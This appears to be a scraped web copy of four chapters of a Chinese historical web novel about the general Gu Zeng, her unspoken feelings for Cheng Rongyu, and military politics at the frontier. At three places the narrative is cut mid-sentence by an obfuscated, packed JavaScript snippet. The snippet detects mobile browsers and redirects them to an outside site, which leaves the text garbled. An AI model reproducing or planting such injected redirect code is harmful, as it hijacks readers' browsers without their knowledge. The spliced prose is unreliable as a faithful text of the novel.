总之,程容与这小子既然见到了千牛卫,应当不需要她来操心了。可是千牛卫为何会到这里来?难不成是皇帝太想他的宝贝程二公子,特意派人来接他? 花雨闲见她失魂落魄的样子,讥诮道:“我说你今日怎么如此不听话,原来是心里有别人,装不下师父了,师父我好伤心呶。” 31.南柯梦(二) 顾曾“嘶”了一声,丢给他一个忿忿的白眼,已开始揎拳捋袖,分明是打算动手的架势。 姜祐珣见状忙道:“阿曾,待此间事了,我要回京城复命,届时定会见到程二公子,你可有话要我代为传达?” 他一片好心奈何被辜负,花雨闲轻嗤一声,似是听到了什么好笑至极的话:“殿下,你堂堂亲王之躯给他二人当传讯小厮,成何体统?” 姜祐珣微笑:“阿曾是世妹,她嘱托之事我该当全力去办。再者说,传信又不是什么大不了的事,正巧我也该好生谢谢程二公子,谢他冒死传信的救命之恩。” “殿下要谢他便请自便,但不必说什么帮我带话。”顾曾淡淡道, “我同程二这种人没什么好说的,将才也不过是感念他奔波辛苦才多问了几句,以后自是不会再问,反正再也不用见到他了。” 她的话头生生停在这里,胸中愕然一滞,像是被什么东西堵住了一般,这才后知后觉地意识到:她要戍边,非故不能离开渭城,其实就算想见,怕是也无缘再见了。 以前她总觉只有天人永隔、天涯海角才能阻止人相见,此刻方知,原来不用天涯海角,只要渭城到京城这点微不足道的距离,便可以阻碍一切重聚,击碎一切憧憬。 既见不到,便没有再去想的理由。 只是顾曾向来不欠人情,在西南被程彧救过几次,却从未来得及开口言谢,倒成为了一桩埋在心底的憾事。 她捂住发烫的耳尖,心道:“若是有缘再见,将欠他的补上就是了。” 也许还得为他的失礼暴打他一顿方能解心头之恨。 顾曾这样想着,怔怔良久,倏地释然一笑。 算了,还是不见了,反正也没什么可见的,人家恐怕根本不稀罕她一句别扭的“谢谢”。 她短暂一生中所有能稍稍牵动心肠的痴念,都在炸开零星火光的那一刻被掐灭,留给她满腔无处发泄的炽热,却又只能眼睁睁看它冷成一块废铜烂铁。 即便她心有所感,这一次的痴念有些许不同,令她格外牵肠挂肚,可那又如何? 世间所有事不都是要消散的么?就像这漫山遍野的杜鹃花,此刻开得如此灼灼烈烈,星光倾落其上,如此良辰一瞬虽胜却人间无数,但到底,总是要凋零的。 云泥之别,难期并驾,相逢犹恐是南柯。 如此一来,她倒情愿自己一开始就无爱无憎。 云戈唤出躲在山洞中的羌人,众人搀扶而来,虽早有预感,但看到一个个故去的熟悉面容,仍是顿足捶胸,哀恸不止。 唯一幸运的是,羌人虽死伤惨重,大部分人的家还是保住了,没有沦成一片火海,他们不必像十年前那样从头再来。 长老悲喜交加,直哭成一条竹竿形的泉眼,一把鼻涕一把泪地对众人好生一番感谢。 顾曾作为功劳最大的人,却只心不在焉地应付了几句。她既哭不出也笑不来,只觉倦意上涌至突突直跳的胸口,喉间直犯恶心,倚着山崖旁的一棵树静坐下来。 云戈阿婆几天不见仿佛老了十岁不止,原本精神矍铄的鹤发老人如今佝偻着身躯,不住地抹着眼泪,尤其是在看到云戈之后,扑上前来抱着她这小孙子,哭得舍不得撒手,任他如何挣扎都逃不出她的怀抱。 直到留意到姜祐珣,她蓦然大惊之下,连力气也使不上了,云戈借势溜之大吉。 阿婆颤颤巍巍上前,围着姜祐珣左看右看,像是看见了鬼,连声啧啧:“我嘞个天神阿爸噢,这不是姜冕殿下么?原来是您救了我们,不对不对,姜冕殿下再怎么俊也是四十多岁的人啦,怎么这位……” 姜祐珣垂眸一笑:“都说我同父王像是一个模子刻出来的,看来传言非虚。” 阿婆又惊又喜地合不拢嘴,流下两行热泪来:“你是姜旬小殿下?哎哟哟,怎么、怎么长成这个样子了吆?” 方才还夸他俊俏的阿婆此刻又对他嫌弃得要命,将姜祐珣从头到脚打量了许久,叹道:“殿下小时候是多壮实的一个小伙子,圆乎乎、软糯糯,看着可喜庆了,怎么现在瘦成这个样子了呢?不好、不好,得多吃点。” 姜祐珣:“……” “神女大人,”阿婆瞥见顾曾这个熟人,也不管她有没有心思听,便开始拉着她唠家常,“你可知姜旬小殿下在小时候有多野么?” 敬老的顾曾微微一笑:“不知。” 阿婆:“姜冕殿下说,他成天都是玩到天黑才知道回家,整日赤膊抡着把大刀,练得精壮,晒得黝黑,头发不洗也不梳……” 姜祐珣:“………………” 宸王殿下一直端着架子,清冷如玉不可逼视,此刻的脸却红得像个柿子。 顾曾听不下去了,感觉阿婆再说几句他能当场跳江,朗声笑道:“说到这个,阿婆,我给你孙儿寻了个好师父!殿下,你也来看看我给你挑的好徒弟。云戈?” 云戈自从胸口挨了一下之后便怎么都不舒服,没人招呼的时候也默默坐在一旁,姜祐珣便不曾留意到他。 听到顾曾唤他名字,他眸间闪过微光:“可是迦若将军的儿子?” 云戈上前给他行礼:“迦若云戈,拜见宸王殿下。” 原先不谙世事的少年经过一场通天彻地的大战,一夜间便长大许多,褪去青涩的羽翼,披上了沉稳厚重的枷锁。 顾曾笑道:“姜旬,我答应他给他找个全大昭最好的老师,此事关乎我的面子,你可别让我失望。” 云戈咬着唇,轻声道:“我以为姐姐说的老师就是自己,姐姐不愿意亲自教我么?” 冷眼旁观许久的花雨闲终于逮住了机会,嗤笑一声:“殿下瞧见没,人家不愿意跟你呢。” 顾曾对云戈失笑道:“都说了要给你找个最好的老师了,今日既在宸王殿下面前,就凭我那点微不足道的经验,有何脸面称第一?况且我们铸光军满当当不缺人,倒是扶苍军……” 扶苍军在西南一役损失惨重,怕是要休养生息好一阵。 “总之,”顾曾拍了拍他的肩,“好好干,但别有太多包袱,对得起自己就行。” “嗯。”云戈虽然不太情愿,终归还是点了点头。 花雨闲没好气道:“还挑三拣四的,难不成我们扶苍军是你想来便能来的么?” “好啦花先生,少说两句罢。”姜祐珣又出来打圆场,招呼道,“翩翩,你来一下。” “殿下……何事?”郭翩正坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447859|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不远处的一块巨石上发怔。 自打知道自己爹是什么德行之后他便心乱如麻,又气又心焦,暴打了郭霄一顿之后却怅然了起来,脑中不住回想小时候的郭霄屁颠屁颠跟在他后面喊哥哥的场景,听到姜祐珣唤他来也没精打采的。 姜祐珣对云戈道:“这是我的左副将郭翩……” 还未说完,便见云戈一脸怨怼,眯起的眸光上眼皮突突直跳,姜祐珣恍然意识到,无论郭翩和扶苍军是何关系,他始终都是郭侯的儿子、郭霄的兄长,始终会为人所忌讳。 郭翩也觉察到了云戈不甚友善的目光,识趣地退开半步,苦笑:“殿下,还是算了罢。” 姜祐珣却正色道:“云戈,望你明理明是非,郭将军在扶苍军中威望甚高,我今日先将你托付给他,你当仔细历练,终有一日,我也会提拔你做我的副将。” 大昭如今良将稀缺,却四方混乱,依照这个乱的速度,他口中这“终有一日”想必也出不了几年。 可顾曾眼中的云戈不过是个未谙世事的孩子,出言提醒:“殿下,云戈还小。” “小么?”花雨闲哂笑道,“我们殿下在他这个年纪已经统兵雍州、横扫西域三十六国了,他却连个刀都拿不稳,当真是年纪小的问题么?” 顾曾叹道:“可这天底下毕竟只有一个姜祐珣,不是么?” 花雨闲:“那想想你自己呢?且不论你本就是柔弱的女子之躯,单论年纪来看,你比他也大不了几岁吧?你不是一向标榜自己是个钝人么,那么你这个迟钝的寻常女子几年前在做什么?” 顾曾垂眸不语。 她十四岁时在做什么呢? 她生在军营、长在军营,勤学苦练无一日懈怠,身为堪舆师,她曾踏遍西北的万水千山,身为战士,她十一岁时便持刀上阵随林霜征战边陲。 十四岁时,她已杀伐四方,所历战役不知凡几。 顾曾心有所动,细想之下,原来她也没比她心目中天下第一的宸王殿下差了多少嘛。 她带着一丝得意,轻提唇角:“和我比也没什么意思,这天底下只有一个姜祐珣是不假,可这天底下也只有一个顾曾。” 花雨闲哈哈大笑:“说得没错,不愧是我教出来的徒弟。” 云戈在一旁听得满面羞惭,如果说先前他还对跟着宸王有所不满,待听完这几人的话,这点小小的不甘也就随之烟消云散了。 他仔细想了想,其实这里随便挑出一位来,都足以做他的老师,而宸王不仅把他托付给自己最信任的下属,还承诺要他做副将,实在是所托甚重。 至于这位郭翩将军,虽然那个讨人厌的郭霄管他叫哥,但他也已经出手教训过了,想来二人并非同路。况且郭将军看起来憨厚老实,应该会很好相处…… 顾曾见他不语,以为他仍是不愿意,说道:“云戈,你知道做宸王殿下的副将是个概念么?那可是比我大了整整……” 她掰着指头数了起来,自己倒先吃了一惊,“大了整整三级!殿下,你认真的么?” 姜祐珣颔首,眸间蓦然一沉:“毕竟扶苍军现在的右副将也该动一动了。” 顾曾悚然一惊:“殿下是说……王澄颐?” 32.南柯梦(三) 这位王澄颐将军出身武将世家,是王晟的儿子。 王晟当年对被困蝴蝶谷的傅昙和萧仕临见死不救,还有勾结外族之嫌,其虽身死,王家却倚靠旧势力仍在扶苍军中身居高位。 姜祐珣道:“我给过王澄颐机会,何曾料到他不仅不领情,竟还妄想故技重施。” 他旋即意识到自己如今是气糊涂了,该说的不该说的话全都一股脑倾泻而出,也不看看这是什么场合。 他冷冽的目光不自然地一顿,乍时柔和下来,笑道:“不需你们操心这些小事,做好当下该做的便是。” 云戈刚调整好心境,暗下决心要沉淀历练自己,宸王说什么他都愿意听,朗声应道:“是!” 顾曾可没他那么好糊弄,姜祐珣虽是随口一说,但西北军内部的权力更迭……这这这这是小事吗?! 十余年前的西北虽号称三支大军镇守,其中一支实则是后备火器军,真正战力只有两支。 乾安帝不放心他的弟弟姜冕,两支主力遂一支归姜冕,另一支则归王晟统领。 姜冕死后,西北大权尽数握在王晟手中,雍州那两年败仗连绵不断,连龟兹等小国都敢来踩上两脚。 渭城是毗邻雍州最近的要塞,傅岚自己还一个脑袋两个大,却也没少派兵支援王晟,奈何家底都快掏空了也支援不过来,皇帝实在没办法,这才死马当作活马医地派了姜祐珣去。 可即便是在最困难的那阵子,乾安帝也不曾全然放权给他。 直到他接手西北四年后,王晟暴毙,年轻的宸王殿下一战成名,击溃察罕大军,挽救京畿于水火危难间,这才完全掌控西北军权。 可这并不意味着王晟孑留的旧党在西北的势力可以小觑,除非姜祐珣被逼急了,他是不会动王晟这唯一的儿子王澄颐的。 可如今看来,他们这次是真把他给惹火了。 顾曾沉吟道:“殿下说的‘故技重施’的意思是……” 姜祐珣颔首:“不错,就如你想的那般。当年他们是怎么害死我父王的,今日他们便想如何害死我。” 顾曾听他突兀地聊起姜冕的死因却并不惊讶,好似早有预料一样。 她甚至觉得这是命中注定,萧仕临和迦若次乌都是死在自己人手中,而姜冕似乎也注定要死于一场苦心孤诣的暗害。 然而她想对郭侯说一句“很可惜”,今日的姜祐珣不是昔日的姜冕,他此刻也不是在孤军奋战。 花雨闲道:“殿下所言不错,这些国之蠹虫早就该除,既然他们要乱,索性就搅他们个天翻地覆。” 上次大战后艰难维持了十年的祥和与平静即将分崩离析,在暗处逐渐生根发芽的势力早已盘根错节,难以理清,便到了该连根拔出的时候。 在座众人不再言语,但皆心知肚明,之后的日子想必不会太好过。 ** 西南一役打了近一年,乾安十五年五月初九,主将姜祐珣终于自云雾山南侧蝴蝶谷出山,将残兵败将遣派回雍州,自己则携左副将郭翩回京请罪。 于此同时,得到皇帝批复的铸光军主将傅岚携五万精兵接管西南,楚人没遇到,先碰上的却是埋伏在云雾山之北的郭侯。 面对手持虎符又冷酷无情的傅岚将军,郭侯终于意识到,他这次以江山社稷为赌注的一场陷害,终究还是失败了,而他自己将要面对这江山社稷的主人——乾安帝——的龙颜大怒。 毫无后顾之忧的铸光军在云雾山上所向披靡,把已然被打了个半死的南楚揍了个彻底咽气。南楚王立即派出使团议和,承诺年年岁贡,并提议送出正值妙龄的公主来大昭和亲。 外敌已除,接下来就该清算内账。 乾安帝向来宽宥仁厚,西南一事上却一改往日那得过且过和稀泥的态度,突然在政事上勤勉了起来。 铸光军此战受到最大嘉赏,傅岚在一众瞠目结舌中接过她兄长傅昙的无上荣光,成为新一任的上将军,发兵不必请示,调兵不必请旨,在大昭的军权之事上,傅将军从此一人之下万人之上。 而姜祐珣和郭侯的恩怨处理起来便要麻烦许多。 皇帝书案上每天的折子摞得要有半人高,打开一看,不是在弹劾二人在边疆大权独揽不干正事,就是说些“郭侯劳苦功高”、“宸王殿下夙兴夜寐”之类的为二人求情的话。 据说,乾安帝气个半死,把最喜爱的琉璃盏都给摔了,怒吼声殿外都能听得见:“一帮废物只知吵来吵去,就没人向朕举荐几个可用之人吗?” 这正是大昭的隐患所在,几乎所有的骁勇良将皆于十二年前的大战葬身沙场,余下的这些人青黄不接,也就傅昙的妹妹和姜冕的儿子还算可用。 可是……可是傅昙和姜冕二人当年死得那样惨,乾安帝思来想去,总不放心他们的亲眷在脱离他的笼罩下兴风作浪。 他需要自己的心腹。 奈何王晟已死,郭侯做出这样的事情,北境的陆侯又知道他太多秘密,他当真不知如今的大昭还有谁人可用。 乾安帝辗转反侧睡不好觉,后来竟发展到每隔几日就要去慈恩寺礼佛,日子由炎转寒,在近半年的拉扯后他终于拍板决定:安宁军由贺向笛和谢明叡代管,扶苍军先交给郭翩和王澄颐。 至于宸王和郭侯两位主将,在各自军中虽仍以他二人为尊,不过也就是挂个名,谁都不许离京,美其名曰让二人休养,实则派人日日监管。 这些消息,于乾安十五年底陆陆续续传入了顾曾耳中。 她随铸光军回了渭城,没再遭山匪埋伏,没再追着什么小侯爷乱砍,也没人再计较她究竟是顾曾还是傅无隅。 她似乎被遗忘了,在无人在意的地方安稳地过着每一日。 冬至左右,渭城罕见地下了一场大雪,积了一半小腿那么深。 宸王被幽禁的消息传来时,顾曾正踩在自己死磕了大半年的绳桥上,听闻后连头也没抬,淡淡道:“殿下临行前就预料到了,此事解决起来麻烦得很,他另有安排,我们就别跟着操心了。” 来传信的李潇潇看她在那自制绳桥上跑来跑去,直看得眼晕,扶额道:“阿曾啊,我早就想问了,你怎么从阆州回来就一直在鼓捣这玩意,是被林将罚了?” “……” 顾曾被罚了不假,不过不是被林霜罚的。 是被傅岚罚的。 她心狠手辣的小姑多年不见她,一见面就赏了她一顿瓷实板子,疼得她大半个月都瘫在床上动弹不得。 铸光卷进西南,最后的结果是:傅岚成了上将军;林霜押粮的任务做得好,也升了官,现任傅岚手下五将之一;铸光军上上下下人人都有赏赐,就连刚入伍的小伙夫都得了点银钱。 只有吃力不讨好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472717|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾将军,因为擅自妄为,官没升,挨了顿打,还被罚俸半年。 不过她本来就没想着升官,银子对她来说也是身外之物,有没有都一样,也就只一声不吭地想着怎么把武艺再精进些。 走了西南一趟,她意识到自己犹有不足,虽然心魔已经少得不能再少,但任重道远,她不允许自己有弱点,便在营地口架了个几丈高的绳桥,顶着渭城的大风,天天在上面打悠悠。 开始的时候,她还怕得走不动道。有一天突然就想通了,死都不可怕,这些又有什么大不了? 她就这样逼着自己不再畏高。 还有这不争气的右臂,时不时就派不上用场,为了下次也能顺利死里逃生,顾曾苦练了左手使刀。 她的刀法是林霜亲授的,不过升官后的林将军没什么功夫管她,只板着脸给她演示了几遍,余下的她便只好自己琢磨。 纷争已然开始,所有人都被动荡的国运推挟着前进,只有顾曾似乎还留在原地。 围剿沙匪时,她依旧是最沉着冷静的那个;动手打架时,她绝对会冲在最前方,挥舞着她小有所成的双刀,杀得对面人仰马翻。 不出营的日子,她准时卯时起床,不是在练刀练箭,就是捧着本书在绳桥读上大半日。 虽然某人曾劝她别挑那么多担子,但她细细思索之下,决心还是要做好自己的本分。她早已习惯了这样的生活,也甘之如饴。 飘雪的营地外倏然传来一阵车轮滚滚,乌泱乌泱一大片人听到声音急忙涌出,带出了一阵沙尘飞扬。 众人围着那破烂到快散架的牛车,不多时便成鼎沸之势。 那是送信的牛车,两三个月才会往他们渭城来一趟,金贵得很。 倒是可以理解,将士戍边,人却心系家乡,哪怕不识字的粗汉也会为那字里行间隐隐的缠绵所落泪。 不过顾曾的家就在渭城,也不会有人给她写信,所以她从不凑热闹。 印象中,她小时候的确还期待过能有一封寄给自己的信,次次都做第一个冲到信使前的人,不过也次次失望而归,次数多了,她便也不去期冀了。 这次也不例外,她理都没理那番嘈杂,不为所动地翻着手中的书。 李潇潇却是第一时间就冲了出去,隔了老远都能听到她得意大喊:“我就知道孙大风这厮还有点良心!” 大风哥七八年没回过家了,今年渭城还算太平,他请了个长假回家探望爹娘。 不过,人是上个月走的,信却这个月就寄到了,此人怕是在归乡的路上就开始诉说自己的思念之情了罢! 顾曾弯了弯唇,不太能理解他们这些家伙,老大不小的了,爱得死去活来却又不肯明说,真奇怪。 营地门口热闹了好一阵,刘叔收到了女儿女婿的信,说他马上就有个小外孙了;杨叔忧心忡忡的,似乎是他上了年纪的母亲身子不大好;小伍子活蹦乱跳的,说朝廷给他的奖赏让他妹子凑了份好嫁妆…… 顾曾不自禁合上了书,天光浅淡,白雪刺目,她眯起眼,伸了个懒腰。 “顾曾顾将军在吗?”逐渐褪去的人群中,满脸沟壑的信使卖力地吆喝着她的名字,待看到她后,笑着招呼她过来。 顾曾认得这位信使,他常年来往京城和渭城之间,总能带回不少新奇的故事,当下心底一惊,难道今天还有她的事? 33.南柯梦(四) 顾曾一脸狐疑地踱至信使面前,对面笑眯眯地递给她一封鼓鼓囊囊的信,说道:“小的替贵人传句话,贵人说他脑子不大清楚,能记着的都写下来了,望将军见谅。” 顾曾一脸不知所云,连谢字都忘记说,浑身冰凉,指尖却发烫,在李潇潇的不住催促下才愣怔地打开那封信。 信中字迹清隽挺拔,极是好看,入鼻还残存着一股淡淡的墨香。 李潇潇打趣道:“哎哟这是哪家小公子写给咱们阿曾的?小姑娘这是要开始旺桃花的运势咯。” 顾曾则完全笑不出来,只看了一眼便将第一页纸猛地塞了回去。 那第一行赫然写道:“昭毅右将军萧仕临亲记……” 她记得清楚,这是萧仕临刻在石壁上的字。 当时洞中只有他们三人,云戈如今远在西边的雍州,所以这给她寄信之人……是程容与?! 顾曾想都没想,直截追上已经离去的信使,呼吸竟带着不自主的颤栗。 “敢问大叔……”她艰涩开口道,“程……他、他还说什么别的了么?” 信使摆手笑道:“没啦,贵人那日赶时间,也是随手将东西递给我交代了几句,小的连问句话的功夫都没有呢。” “好……多谢。”顾曾心中复杂莫名,像根木头似的立在原地,把李潇潇吓得够呛,止不住地同她说话,可她却恍若未闻。 那天的程容与在做什么呢?大概也是穿着光鲜亮丽,依旧是那副自认为风流张扬实则讨打欠揍的嘴脸吧。 她牵了牵唇角,仿佛能看到那一幕。 京城有繁花似锦,小娘子们竞相朝他丢着手帕,而他也不过就是在赶着去和同伴打马毬的路上随手将信递给了信使,多留片刻都是耽误他的时间。 反正她也不过是个与他萍水相逢的普通人,根本不值得他驻足。 顾曾突然有点难过,难过到喘不过气来。 不过几息,她复而冷静下来,因适才这些敏感又顾影自怜的想法而深深懊恼起来:怎么会这样呢?这可当真是不行! 顾将军鼻头一皱,心道:“从今往后,就当作从未识得过此人。” 她一言不发回了居所,把信件里的纸张拿出来细细分好,准备寄给这些已故将士的家人,不由得又慨叹一句:程二公子还挺细心的,连她都忘记这么重要的事了,他却还记得。 拆分完毕,那空荡荡的信封上书写的她的名字突然变得无比的碍眼。 只有收信人是她,里面却没有一页纸是写给她的,这算哪门子给她的信?真是让人恼火! 顾曾一气之下本来想将其烧掉,但思来想去,这依旧算是她这辈子收到的第一封信,又有点舍不得。 几番思索之下,她来到角落里,打开了一个早已蒙尘的小木箱。 箱子不大,内里更是空荡荡,里面放着她爹给她做的小木剑,阿娘给她缝的小布偶之类的几件杂物。 她大尾巴狼做习惯了,自小便怕在人前流露真心,索性便将故人的东西都锁在箱子里,只有哪日实在难过得受不住了才会翻出来看看。 这次也不例外,她把那信封丢进木箱,火速合了起来,没再多看一眼。 ** 信使驾着牛车回到家时,已然出了一身的冷汗。 他儿子,也是他正在带的学徒,跑上前问道:“阿爹,怎样了?” 信使摆摆手:“差点就要露馅了。” 他听闻顾将军一向沉稳多疑,原本以为自己随口的敷衍会露出破绽,没想到今日的顾曾就跟丢了魂儿似的,居然就这样放他离开了。 他儿子道:“都是儿的错,竟失手打烂了贵人的东西。阿爹,不然我们还是跟顾将军实话实说罢,大不了我再赔她一份。” “赔?”信使重重瞪他一眼,“你知道这是什么东西么就敢胡说,拿十个你的小命你也赔不起!” 他儿子手中捧着几瓣白瓷瓶的碎片,怔怔道:“不过就是个瓷瓶。” 信使上前抡了他后脑勺一巴掌,想要骂他无知浅薄,不过细细一想,他也是在西域这条线上走得多了才听人提过一两嘴,不然也无从得知这种神药。 当下叹了口气,说道:“重要的不是那瓷盘,而是里面的香膏。据说这‘霜容千叶’香气馥郁,入肤即化,涂上据说可治顽疾、续断骨,一小瓶可价值连城。” 他儿子听呆了:“啊……啊?!” 信使:“西域当年打了败仗,集几国之力才给陛下进贡了这么几瓶,也不知那贵人……” ……那贵人是讨要了多少次才讨到这一瓶的,还几番叮咛了用法用量,要他务必亲口转告。 怎料却被他这傻不愣登的儿子一个手滑给打碎了,造孽啊! 为了他和他儿子的命,信使没得选择,只能把这事瞒得天下地下没有第三人知道了。 他拾起一块瓷瓶的残片,想要再端详端详里面的残渣,眼睛却倏地瞄到了瓶身中几丝不显眼的纹路,忙让儿子将所有残片递来,仔细地聚拢到一起。 他举起烛灯,火光贴近的一刹,瓷瓶通体映出琉璃般的光泽,莹润无瑕,犹如宝塔上供奉的佛舍利。 然而信使的心思仍在那些不易觉察的纹路上面,坚持不懈地望去,手中小心挪动,终于将它们拼成了两行字,好像是什么“云深无雁影,何处不相思”。 他虽不懂什么意思,但总觉得做这瓷瓶的人脑子不大中用。 既然有话要说,何不大大方方刻在甁外?这瓶身中的蝇头小楷几乎与瓶身内釉融为一体,非得将其中的膏体挖空再仔细端详才能瞧出门道。 费这般心思,却又藏着掖着不叫人轻易知道,这不是自讨没趣么? 信使摇摇头,随手将那些碎片丢置至一侧。 ** 凛冬已至,大雁早已南飞,风烈如刀,天色苍茫。 乾安十五年就这样在混沌中静悄悄地过去了。 开春后,皇帝针对边疆的军权一事又抬出了一系列新政。 第一条便是要矬子里面拔高,命各军按照军功与嘉奖提拔将士,一级一级上报朝廷备案。 顾曾在军中混了多年,还是有点军功在身,虽然她不怎么想升官,但新政当前,她只当自己卖了皇帝一个面子,不情不愿地继承了林霜的位子,当上了骁骑营的正将。 皇帝又不知听了哪个狗腿子的谗言,说铸光军位于四军之中,又有傅岚这个上将军坐镇,根本不需劳民伤财的十万大军驻守在此。 没学会走就想跑的乾安帝遂下了第二条令,为了给国库省点银子,命铸光军一分为五,三支充入其余三军,一支屯田耕桑,最后还自认仁慈地余下一支给傅岚,叫她自己看着办。 所有守城将士听到这条新令后,炸了锅。 且不说一分为五后将士们会不会水土不服,皇帝撤铸光的军,明摆着当他们是混饭吃不干活的兵痞子。 可渭城十万将士承担的不止是除沙匪、给西境充当后备军的杂事,他们还要镇守大昭的第一要塞——汉云关。 汉云关隘位于渭城之北不足百里,隘口狭窄,山路平坦,一旦被攻破,关内千里再无天险,这才需整个铸光大军夜以继日地防卫。 如今铸光军即将被打散,再忠心耿耿的兵被如此折辱,也会寒透了心。 傅岚是最怒不可遏的,皇帝一句话下来,说撤就撤,和直接打她的脸也没什么分别,上将军大人一怒之下差点递交辞呈。 冷静下来后,她连上书好几封,求皇帝三思而后行。然而折子宛若石沉大海,催她执行新政的旨意倒是一道接一道地往渭城递。 实在无法,傅岚焦头烂额了好一阵,才在不被北境敌国发觉的情况下悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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李潇潇干脆跑到酒馆门口偷瞄了几眼,又兴冲冲地跑回来:“这次的故事不一样,你信我,不好听我替你轮三天夜岗!这次是一个女将军英雄救美,呃,美救英雄?呃,美救纨绔的故事!那说书先生说得头头是道,煞有其事似的,阿曾你快和我去听听呗。” 顾曾口干舌燥灌了口凉茶,耳朵被她吵得快生了火星子,只抬了抬眼皮:“潇潇姐你去罢,我在这等你。” 李潇潇奇道:“以前你不是最喜欢听话本的么?” 当了主将之后,顾曾才体会到以前的林霜有多苦,难怪总会在她偷懒时骂她不成器。 她现在看李潇潇也有同感,当下摆了摆手:“恶习,戒了。” 李潇潇不以为意地挑了挑眉,便不再管她,索性搬了个小马扎在酒馆门口听了个饱。 最后,她是泪眼汪汪回来的,拭着眼泪道:“你没去真是太可惜了,有许久没听过这么好的戏本了。唉,孙大风这个不识趣的几时才能做到人家那样……” 她这位潇潇姐可真是多愁善感,顾曾浅笑一声,起身揽住她肩头:“话本里的故事都是假的,看不见摸不着,做不得数的,但是大风哥可是活生生的,潇潇姐你就知足吧。” 李潇潇脸上一红,眼泪也跟着止了。 眼见顾曾去牵马,她最后望了一眼那酒馆,心道:“虽然说故事是好的,但究竟谁会想看这二人天各一方此生不复相见啊?到底是谁爱看啊?!阿曾说得对,话本里都是生捏硬造为了感人而感人的,算了算了不想了!” 七月初七,荒漠中两匹骏马飞驰,入夜方至汉云关。 顾曾爬上塔楼,一抬眼,漫天星河、流转如缎。 无声无息间,她就这样不知不觉地过了十九周岁的生辰。 她倚着冷硬的城墙,对着星空举了举杯:“阿爹、阿娘,我今年也很好,生辰……很是喜乐。” 34.南柯梦(五) 乾安十六年冬,除夕夜,苍雪茫茫。 渭城没有漫天烟火,但一连串震耳欲聋的爆竹便足够城中人过个吉祥年了。 城西几里有零星几株荒草,一块破败的木板歪歪扭扭插在小路一侧,上写“阳关”二字,再往西去,便是连绵无际的黄沙。 草丛中传来一声撕心裂肺的惨嚎。 “跑啊,倒是继续跑啊?”凶神恶煞的顾将军冷冷一笑,在衣襟上拭去刀刃上的鲜血,一脚踏住在地上抽搐乱爬的匪徒,靴底的铁钉直接刺入了那匪徒胸口。 林霜自从升官后整日忙得见不着人,难得阿姐今日不当值,有时间陪她吃顿年夜饭,居然还叫这帮伺机捣乱的家伙给搅和了。 简直是可恶至极。 顾曾一向有分寸,今日实在是恼得控制不住,一不小心下手有点重,十几个匪徒被她单枪匹马砍了一大半,就剩这一个还能喘气。 一阵鼎沸的炮竹自城中传来,原来新岁已至,如今是乾安十七年了。 那沙匪满手是血地指着顾曾,嘶哑道:“今年是大盛之年,你如此杀戮,必会遭报应,你这个……” 顾曾大气不喘地掀了掀眼皮,抬手给了他个痛快。 她手背拭去脸上几滴热血,冷冷一笑:“我猜阁下是想说我是渭城第一大好人,谢了。” 看见忧心忡忡的李潇潇,她又道:“潇潇姐你放心,不会教你再跟我一起受罚的。此人满是寻死之心,想来拷问也问不出什么,杀了就杀了。” “我不是急这个!”李潇潇愁眉苦脸的,“虽然是胡说八道,但是阿曾,大过年的你……总归是不吉利。” 顾曾牵着马走在前面,冷笑一声:“有何不吉利?他们这群人不照样也是大过年的窝在这里埋伏商队想要索命夺财?他们都不怕,我一个天煞孤星怕什么?” 远处一行人马浩浩荡荡离了城,林霜终究是等不及她回去,已然要出发去巡防了。月光洒下,遥遥望去,阿姐的鬓角闪着几缕明灭的光。 饮马流冰衣未解,横刀照雪鬓先霜…… 顾曾叹了口气,也不知阿姐尝没尝自己为她做的三两小菜。 从前,阿姐总是在军营里忙各种事务,她又是整天往外跑的野性子,在顾曾的印象里,很难想到二人在一起有什么温馨的时刻。 即便是过年,也是大家伙围在一起吃年夜饭,林霜会朝兄弟姐妹们敬一杯酒,简单动动筷子,便回营帐继续批文书。 如今,连这种相聚都成为了奢侈的念想。 顾曾真不知自己还该再有什么痴心妄念。 她只觉得她这辈子大抵也就这样过了,只求老天爷手下留些情面,造化弄人可以,过头了可要小心她狗急跳墙。 ** 佛诞,渭城人小打小闹庆贺了一番。 但小打小闹也是热闹,林霜特意赶回来协调全城防务,回到营地,才发现案上有一封寄给她的信。 她同顾曾一样,以渭城为家,十余年来一直过着与渭城之外的世界隔绝的日子,拿起这封信时倒没有多惊喜,只有满腹疑窦。 顾曾那阵子正在南边帮忙修筑黄河的水坝,是被傅岚的军令紧急调回来的。 除非林霜出事了,她想不通还有什么事情能让傅岚亲自召她回来,一来便火急火燎地冲进牙帐,连礼都忘了行:“小姑姑,我阿姐她……” “没大没小,乱叫唤什么?”傅岚斜着眼,轻咤一声。 她着一身紫金蟒纹服,头带玄冠,腰悬着那把削铁如泥的将军剑,面容间带着股宣泄不出的怒色,却又有一种说不出的端庄大气。 明明是未到知天命的年纪,傅岚上将军望向人的眼神早已是饱经沧桑的凌厉。 